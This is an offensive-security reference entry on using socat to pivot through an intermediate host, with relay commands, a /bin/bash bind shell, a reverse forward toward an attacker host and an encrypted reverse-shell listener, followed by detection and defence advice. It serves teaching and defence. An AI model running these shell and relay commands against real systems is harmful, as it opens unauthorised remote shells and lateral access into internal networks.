Port Relay with socat

socat is a Swiss-army knife of connections that, in pivoting, is used as a port redirector: it listens on a port of one host and forwards each connection to another destination. It serves to chain hops when we cannot reach an internal host from our machine, but an intermediate pivot can.

Why it works. socat joins two "channels" and copies bytes from one to the other. In TCP-LISTEN:...,fork mode it creates a listening socket and, for each incoming connection, opens another toward the destination we name, acting as a bridge. Placed on a host that sees both our network and an internal network, it turns that host into a springboard toward services we had no direct route to.

The abuse. You upload socat to the pivot and set up the relay toward the internal service; it also serves to forward a handler back or to encrypt the channel with TLS.

# on the pivot: listen on 8080 and forward to an internal host:port
socat TCP4-LISTEN:8080,fork,reuseaddr TCP4:<internal-ip>:<rport>

# relay to bring an internal service toward the attacker (reverse forward)
socat TCP4-LISTEN:<lport>,fork TCP4:<lhost>:<rport>

# UDP relay (e.g. internal DNS/SNMP)
socat UDP4-LISTEN:<lport>,fork UDP4:<internal-ip>:<rport>

# simple bind shell on the pivot
socat TCP4-LISTEN:<lport>,reuseaddr,fork EXEC:/bin/bash

# receive a fully interactive reverse shell over an encrypted relay
socat OPENSSL-LISTEN:<lport>,cert=shell.pem,verify=0,fork -

Requirements. You need to run socat on the pivot (or upload a static binary) and the pivot must have visibility of the destination. It is a port-to-port forward: to reach a whole network you need one relay per service, or better a SOCKS/tun such as SSH SOCKS or ligolo-ng.

How to detect it. The signal is a socat process with a listening socket and paired outbound connections toward another network: a new listening port on a server, served by a binary that is not part of its services, is suspicious. On the network, a host forwarding traffic between two segments it should not bridge is the signature.

Defence. Application control to block binaries like socat on servers, segmentation so a host does not have legs in two sensitive networks, and monitoring of listening ports and anomalous bridge connections. It complements remote port forwarding to chain hops and shares its goal with ligolo-ng and SSH port forwarding.